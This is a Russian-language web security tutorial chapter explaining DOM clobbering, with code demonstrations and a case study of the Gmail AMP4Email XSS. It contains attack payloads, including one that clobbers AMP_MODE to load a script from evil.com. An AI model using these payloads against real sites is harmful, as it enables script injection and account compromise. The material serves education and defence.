Client-Side Fundamental
  • Добро пожаловать
  • Глава 1 - Начало работы с XSS
    • Браузерная модель безопасности
    • Знакомимся с уязвимостью XSS
    • Более глубокое понимание XSS
    • Опасный псевдопротокол javascript
  • Глава 2 - Защита и Обход для XSS
    • Первая линия обороны от XSS - Sanitization
    • Вторая линия обороны от XSS - CSP (Content Security Policy)
    • Третья линия обороны против XSS - сокращение области воздействия
    • Последние методы защиты от XSS - Trusted Types и встроенный Sanitizer API
    • Обход защитных мер - Обычные способы обхода CSP
    • Обход защитных мер - Mutation XSS
    • Самая опасная XSS - Universal XSS
  • Глава 3 - Атаки без JavaScript
    • Кто сказал, что для атаки обязательно выполнять JavaScript?
    • Prototype Pollution - Эксплуатация цепочки прототипов
    • Может ли HTML влиять на JavaScript - Введение в DOM clobbering
    • Template Injection in Frontend - CSTI
    • CSS Injection - Атака с использованием только CSS (Часть 1)
    • CSS Injection - Атака с использованием только CSS (Часть 2)
    • Можно ли атаковать, используя только HTML
  • Глава 4 - Межсайтовые атаки
    • Same-origin Policy и Same-Site
    • Введение в Cross-Origin Resource Sharing (CORS)
    • Проблемы Cross-Origin безопасности
    • Cross-Site Request Forgery (CSRF)
    • Спаситель от CSRF - Same-site cookie
    • От same-site до главного site
    • Интересная и практичная Cookie Bomb
  • Глава 5 - Другие интересные темы
    • То, что вы видите, это не то, что вы получаете - Clickjacking
    • Эксплуатация MIME Sniffing
    • Атаки на цепочку поставок во фронтенде - Attacking Downstream from Upstream
    • Атаки на веб-фронтенд в Web3
    • Самая интересная атака на побочные каналы фронтенда - XSLeaks (Часть 1)
    • Самая интересная атака на побочные каналы фронтенда - XSLeaks (Часть 2)
Powered by GitBook
On this page
  1. Глава 3 - Атаки без JavaScript

Может ли HTML влиять на JavaScript - Введение в DOM clobbering

Знали ли вы, что HTML также может влиять на JavaScript не только с помощью Prototype Pollution?

Все мы знаем, что JavaScript может манипулировать HTML с помощью DOM API. Но как HTML может влиять на выполнение JavaScript? Именно здесь и начинается самое интересное.

Прежде чем мы начнем, давайте начнем с небольшой забавной задачи.

Предположим, у вас есть следующий фрагмент кода с кнопкой и скриптом:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
    <button id="btn">click me</button>
    <script>
        // TODO: add click event listener to button
        document.getElementById('btn').addEventListener('click', function() {
            alert('Button clicked!');
        });
    </script>
</body>
</html>

Теперь попробуйте реализовать функцию вызова "alert(1)" при нажатии на кнопку с помощью "самого короткого кода" внутри тега <script>.

Например, с помощью такого кода:

document.getElementById('btn')
    .addEventListener('click', () => {
        alert(1);
    });

Каким был бы ваш ответ, чтобы сделать код как можно короче?

Прежде чем продолжить, подумайте над вопросом. Как только у вас будет ответ, продолжим!

Quantum Entanglement of DOM and window

Знали ли вы, что элементы внутри DOM могут влиять на объект window?

Оказалось, что когда вы определяете элемент с id в HTML, вы можете напрямую получить к нему доступ в JavaScript:

<button id="btn">click me</button>
<script>
    console.log(window.btn); // <button id="btn">click me</button>
</script>

Из-за области видимости, вы даже можете получить к нему доступ напрямую, используя просто btn, поскольку текущая область будет искать вверх, пока не найдет window.

Так что ответ на предыдущий вопрос:

btn.onclick=()=>alert(1)

Нет необходимости в getElementById или querySelector. Просто используйте переменную с тем же именем, что и id, чтобы получить доступ к объекту.

Здесь есть два ключевых момента:

1. Значение атрибута name для всех элементов embed, form, img и object, которые имеют непустой атрибут name. 2. Значение атрибута id для всех HTML-элементов, которые имеют непустой id атрибут.

Это означает, что наряду с использованием id для прямого доступа к элементам через window, вы также можете использовать атрибут name для доступа к элементам <embed>, <form>, <img>, <object>:

<embed name="a"></embed><form name="b"></form><img name="c" /><object name="d"></object>

Понимание этой спецификации приводит нас к выводу:

Мы можем влиять на JavaScript через элементы HTML.

Эту технику можно использовать для атак, известных как DOM clobbering. Впервые я столкнулся с термином "clobbering" в контексте этой атаки, что означает "перезапись". Он относится к использованию DOM для перезаписи определенных элементов для достижения атаки.

Введение в DOM Clobbering

При каких обстоятельствах мы можем использовать DOM clobbering для атак?

Во-первых, должна быть возможность отображать наш пользовательский HTML на странице; в противном случае это невозможно.

Так что потенциальный сценарий атаки может выглядеть так:

<!DOCTYPE html>
<html>
<body>
    <h1>Comments</h1>
    <div>
        You comment: hello
    </div>
    <script>
        if (window.TEST_MODE) {
            // load test script
            var script = document.createElement('script');
            script.src = window.TEST_SCRIPT_SRC;
            document.body.appendChild(script);
        }
    </script>
</body>
</html>

Допустим, есть доска комментариев, где вы можете ввести любой контент. Однако ввод проходит обработку на стороне сервера, удаляя все, что может выполнить JavaScript. Так что <script></script> удаляется, и атрибут onerror из <img src=x onerror=alert(1)> отбрасывается. Многие полезные нагрузки XSS не сработают.

Вкратце, вы не можете выполнить JavaScript для достижения XSS, потому что все такие попытки попадают под фильтрацию.

Однако, по различным причинам, HTML-теги не фильтруются, поэтому вы можете внедрить пользовательский HTML. Пока JavaScript не выполняется, вы можете вставить любой HTML-тег и установить любой атрибут.

Так что вы можете сделать следующее

<<!DOCTYPE html>
<html>
<body>
    <h1>Comments</h1>
    <div>
        Your comment: 
        <div id="TEST_MODE"></div>
        <a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>
    </div>
    <script>
        if (window.TEST_MODE) {
            // load test script
            var script = document.createElement('script');
            script.src = window.TEST_SCRIPT_SRC;
            document.body.appendChild(script);
        }
    </script>
</body>
</html>

Опираясь на приобретенные выше знания, вы можете вставить тег с id "TEST_MODE" - <div id="TEST_MODE"></div>. Таким образом, JavaScript if (window.TEST_MODE) пройдет, потому что window.TEST_MODE будет этим элементом div.

Затем мы можем использовать <a id="TEST_SCRIPT_SRC" href="my_evil_script"></a> чтобы сделать window.TEST_SCRIPT_SRC строкой, которую мы хотим получить после конвертации.

В большинстве случаев простого переопределения переменной с помощью HTML-элемента недостаточно. Например, если вы преобразуете window.TEST_MODE в код на вышеуказанного сниппета в строку и напечатаете его:

// <div id="TEST_MODE" />console.log(window.TEST_MODE + '')

Результат будет: [object HTMLDivElement].

Преобразование HTML-элемента в строку приведет к этому формату, который в данном случае не пригоден для использования. Однако, к счастью, есть два элемента в HTML, которые обрабатываются по-разному при преобразовании в строку, <base> и <a>:

Эти два элемента возвращают URL при вызове toString, и мы можем установить URL, используя атрибут href, что позволяет нам контролировать содержимое после toString.

Итак, объединяя вышеуказанные методы, мы узнали:

1. Мы можем использовать HTML с атрибутом id для изменения переменных JavaScript. 2. Использование <a> с href и id чтобы сделать результат toString элемента желаемым значением.

Используя эти две техники в соответствующем контексте, мы можем потенциально скомпрометировать DOM.

Однако важно помнить: если переменная, которую вы хотите атаковать, уже существует, её нельзя переопределить с помощью DOM. Например:

<!DOCTYPE html>
<html>
<head>
    <script>
        TEST_MODE = 1;
    </script>
</head>
<body>
    <div id="TEST_MODE"></div>
    <script>
        console.log(window.TEST_MODE); // 1
    </script>
</body>
</html>

Вложенное DOM Clobbering

В предыдущем примере мы использовали DOM для переопределения window.TEST_MODE и создания неожиданного поведения. Но что, если целью переопределения является объект? Возможно ли это?

Например, window.config.isTest, можем ли мы его переопределить с помощью DOM clobbering?

Есть несколько способов переопределить это. Первый - использование иерархической структуры HTML-тегов, в частности элемента form:

Мы можем использовать form[name] или form[id] для доступа к его дочерним элементам, например:

<!DOCTYPE html>
<html>
<body>
    <form id="config">
        <input name="isTest" />
        <button id="isProd"></button>
    </form>
    <script>
        console.log(config); // <form id="config">
        console.log(config.isTest); // <input name="isTest" />
        console.log(config.isProd); // <button id="isProd"></button>
    </script>
</body>
</html>

Таким образом, мы можем создать два уровня компрометации DOM. Однако стоит отметить: здесь нет <a>, поэтому результат toString будет в непригодном для использования виде.

Более вероятная возможность для эксплуатации - когда вам нужно переопределить что-то, к чему обращаются с помощью свойства value, например: config.environment.value. В этом случае вы можете использовать атрибут value <input> для его переопределения:

<!DOCTYPE html>
<html>
<body>
    <form id="config">
        <input name="enviroment" value="test" />
    </form>
    <script>
        console.log(config.enviroment.value); // test
    </script>
</body>
</html>

Простыми словами, можно переопределить только встроенные атрибуты, другие - нет.

В дополнение к использованию иерархической природы самого HTML, можно использовать также HTMLCollection.

В раннее упомянутом разделе "Именованный доступ к объекту Window" в спецификации указано:

Если есть несколько вещей для возврата, возвращается HTMLCollection.

<!DOCTYPE html>
<html>
<body>
    <a id="config"></a>
    <a id="config"></a>
    <script>
        console.log(config); // HTMLCollection(2)
    </script>
</body>
</html>

Вот так:

<!DOCTYPE html>
<html>
<body>
    <a id="config"></a>
    <a id="config" name="apiUrl" href="https://evil.com"></a>
    <script>
        console.log(config.apiUrl + ''); // https://evil.com
    </script>
</body>
</html>

Вы можете генерировать HTMLCollection, используя один и тот же id, а затем использовать имя для извлечения конкретного элемента из HTMLCollection, достигая двухуровневого вложения.

И если мы сочетаем <form> с HTMLCollection, мы можем достичь трех уровней:

<!DOCTYPE html>
<html>
<body>
    <form id="config"></form>
    <form id="config" name="prod">
        <input name="apiUrl" value="123" />
    </form>
    <script>
        console.log(config.prod.apiUrl.value); // 123
    </script>
</body>
</html>

Используя один и тот же id, мы позволяем config иметь доступ к HTMLCollection. Затем, используя config.prod, можно извлечь элемент с именем "prod" из HTMLCollection, который является формой. Далее, мы используем form.apiUrl для доступа к входу под формой, и, наконец, используем value для извлечения его атрибута.

Так что, если желаемый атрибут является HTML-атрибутом, мы можем получить четыре уровня взаимодействия; в противном случае, мы можем использовать только три уровня.

Однако в Firefox всё немного по-другому. В Firefox не возвращается HTMLCollection. Например, с тем же кодом:

<!DOCTYPE html>
<html>
<body>
    <a id="config"></a>
    <a id="config"></a>
    <script>
        console.log(config); // <a id="config"></a>
    </script>
</body>
</html>

В Firefox он будет выводить только первый элемент <a>, а не HTMLCollection. Поэтому, в Firefox, мы можем использовать только <form>, а также <iframe>, который будет упомянут позже.

Более сложное вложение

Предыдущее упоминание о трёх уровнях или условные четыре уровня уже являются пределом. Есть ли способ преодолеть это ограничение?

Когда вы создаете iframe и даёте ему имя, вы можете получить доступ к window внутри iframe, используя это имя. Это может быть сделано так:

<!DOCTYPE html>
<html>
<body>
    <iframe name="config" srcdoc='    <a id="apiUrl"></a>  '></iframe>
    <script>
        setTimeout(() => {
            console.log(config.apiUrl); // <a id="apiUrl"></a>
        }, 500);
    </script>
</body>
</html>

Причина использования setTimeout здесь заключается в том, что iframes не загружаются синхронно, поэтому нам нужно некоторое время, чтобы правильно получить доступ к содержимому внутри iframe.

С помощью iframes мы можем создать ещё больше уровней:

<!DOCTYPE html>
<html>
<body>
    <iframe name="moreLevel" srcdoc='
        <form id="config"></form>
        <form id="config" name="prod">
            <input name="apiUrl" value="123" />
        </form>
    '></iframe>
    <script>
        setTimeout(() => {
            console.log(moreLevel.config.prod.apiUrl.value); // 123
        }, 500);
    </script>
</body>
</html>

Расширение поверхности атаки через document

Как упоминалось ранее, возможность использовать DOM clobbering не велика, поскольку код должен сначала использовать глобальную переменную, которая не объявлена. Обычно такие ситуации находятся ESLint во время разработки, так что как это все угодило в интернет?

Сила DOM clobbering заключается в том, что, помимо window, есть несколько элементов, которые вместе с именем могут повлиять на document.

Давайте рассмотрим пример, чтобы понять:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
</head>
<body>
    <img name="cookie">
    <form id="test">
        <h1 name="lastElementChild">I am first child</h1>
        <div>I am last child</div>
    </form>
    <embed name="getElementById"></embed>
    <script>
        console.log(document.cookie); // <img name="cookie">
        console.log(document.querySelector('#test').lastElementChild); // <div>I am last child</div>
        console.log(document.getElementById); // <embed name="getElementById"></embed>
    </script>
</body>
</html>

Здесь мы использовали HTML-элемент для влияния на document. Изначально document.cookie должен отображать куки, но теперь это стал элемент <img name=cookie>. Кроме того, lastElementChild, который должен возвращать последний элемент, переопределён именем под формой, что приводит к извлечению элемента с таким же именем.

Даже document.getElementById может быть переопределён с помощью DOM, что вызывает ошибку при вызове document.getElementById(), что может вызвать сбой всей страницы.

В задачах CTF это часто используется в сочетании с ранее упомянутым загрязнением прототипа для достижения импакта:

<!DOCTYPE html><html lang="en"><head>  <meta charset="utf-8"></head><body>  <img <!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
</head>
<body>
    <img name="cookie">
    <script>
        // Assumed we can pollute an attribute to a custom function
        Object.prototype.toString = () => 'a=1';
        console.log(`cookie: ${document.cookie}`); // cookie: a=1
    </script>
</body>
</html>

Почему так происходит?

Теперь, document.cookie - это HTML-элемент. Используя синтаксис шаблона, если содержимое не является строкой, автоматически вызывается метод toString. однако HTML-элементы сами по себе не реализуют toString. Следовательно, согласно цепочке прототипов, в конечном итоге вызывается наше загрязнённое Object.prototype.toString, возвращая загрязненный результат.

Комбинируя эти уязвимости, мы можем манипулировать значением document.cookie и таким образом влиять на последующий поток.

DOMPurify, о котором упоминалось ранее, на самом деле обрабатывает эту часть специально при санитизации:

// 
https://github.com/cure53/DOMPurify/blob/d5060b309b5942fc5698070fbce83a781d31b8e9/src/purify.js#L1102
const _isValidAttribute = function (lcTag, lcName, value) {  
  /* Make sure attribute cannot clobber */  
  if (    
    SANITIZE_DOM &&    
    (lcName === 'id' || lcName === 'name') &&    
    (value in document || value in formElement)  
  ) {    
    return false;  
  }  
  // ...
}

Если значения id или name уже существуют в document или formElement, он пропускает предотвращение компрометации DOM против документа и формы.

Он не предоставляет защиту от DOM clobbering по умолчанию.

Анализ случая: Gmail AMP4Email XSS

В Gmail вы можете использовать некоторые функции AMP, и у Google есть строгий валидатор для этого формата, что делает сложной задачу проведения XSS-атак обычными методами.

Однако кто-то обнаружил, что возможно установить id на HTML-элементе. Они обнаружили, что при установке <a id="AMP_MODE"> в консоли происходит ошибка, указывающая на ошибку загрузки скрипта с частью URL, являющейся undefined. Изучив код внимательно, они нашли фрагмент кода, который выглядел так:

var script = window.document.createElement("script");
script.async = false;

var loc;
if (AMP_MODE.test && window.testLocation) {
    loc = window.testLocation;
} else {
    loc = window.location;
}

if (AMP_MODE.localDev) {
    loc = loc.protocol + "//" + loc.host + "/dist";
} else {
    loc = "https://cdn.ampproject.org";
}

var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "";
script.src = loc + "/rtv/" + AMP_MODE.rtvVersion + "/" + singlePass + "v0/" + pluginName + ".js";

document.head.appendChild(script);

Если мы можем сделать AMP_MODE.test и AMP_MODE.localDev истинными, и установить window.testLocation, мы можем загрузить любой скрипт, который захотим!

Таким образом, эксплуатация выглядела бы так:

// clobber AMP_MODE.test and AMP_MODE.localDev<a id="AMP_MODE" name="localDev"></a><a id="AMP_MODE" name="test"></a>// set testLocation.protocol<a id="testLocation"></a><a id="testLocation" name="protocol"    href="https://evil.сom/raw/0tn8z0rG#"></a>

Наконец, успешная загрузка любого скрипта позволяет достичь XSS!

Однако автору удалось дойти только до этого шага, прежде чем он был заблокирован CSP, что показывает, что CSP все еще очень полезен

Это один из самых известных примеров DOM clobbering, и исследователем, который обнаружил эту уязвимость, является Михаэль Бентковски, который создал множество классических случаев, упомянутых ранее при обсуждении Mutation XSS и загрязнения прототипа.

Заключение

Хотя варианты использования DOM clobbering ограничены, это действительно интересный метод атаки! Более того, если вы не знаете об этой функции, вы никогда не подумали бы, что HTML может использоваться для влияния на содержимое глобальных переменных.

Ссылки:

PreviousPrototype Pollution - Эксплуатация цепочки прототиповNextTemplate Injection in Frontend - CSTI

Last updated 8 months ago

Это поведение явно определено в спецификации под пунктом :

Источник:

В есть раздел, где говорится:

Итак, что мы можем сделать с HTMLCollection? В упоминается, что мы можем получить доступ к элементам внутри HTMLCollection с использованием имени или id.

Согласно методу, описанному в , мы можем достичь этого, используя iframes!

Если вам нужно больше уровней, вы можете использовать этот полезный инструмент, созданный @splitline:

Что касается ранее упомянутого Sanitizer API, ясно гласит: "Sanitizer API не защищает от атак DOM clobbering в своем изначальном состоянии."

В 2019 году была обнаружена уязвимость в Gmail, которую можно было эксплуатировать с помощью DOM clobbering. Подробный обзор можно найти здесь: . Ниже я кратко объясню процесс (контент взят из вышеупомянутой статьи).

Если вас заинтересовала эта техника атаки, вы можете ознакомиться со , в которой представлены две лаборатории, где вы можете лично попробовать этот метод атаки. Просто чтения о нем недостаточно; вам нужно реально применить это для полного понимания.

1. 2. DOM Clobbering strikes back 3. DOM Clobbering Attack 4. DOM Clobbering 5. XSS in GMail’s AMP4Email via DOM Clobbering 6. Is there a spec that the id of elements should be made global variable? 7. Why don't we just use element IDs as identifiers in JavaScript? 8. Do DOM tree elements with ids become global variables?

7.3.3 Named access on the Window object
4.6.3 API for a and area elements
HTML spec
4.2.10.2. Interface HTMLCollection
DOM Clobbering strikes back
DOM Clobber3r
спецификация
XSS in GMail’s AMP4Email via DOM Clobbering
статьей PortSwigger
http://blog.zeddyu.info/2020/03/04/Dom-Clobbering/#HTML-Relationships
https://portswigger.net/research/dom-clobbering-strikes-back
https://wonderkun.cc/2020/02/15/DOM%20Clobbering%20Attack%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/
https://ljdd520.github.io/2020/03/14/DOM-Clobbering%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/
https://research.securitum.com/xss-in-amp4email-dom-clobbering/
https://stackoverflow.com/questions/6381425/is-there-a-spec-that-the-id-of-elements-should-be-made-global-variable
https://stackoverflow.com/questions/25325221/why-dont-we-just-use-element-ids-as-identifiers-in-javascript
https://stackoverflow.com/questions/3434278/do-dom-tree-elements-with-ids-become-global-variables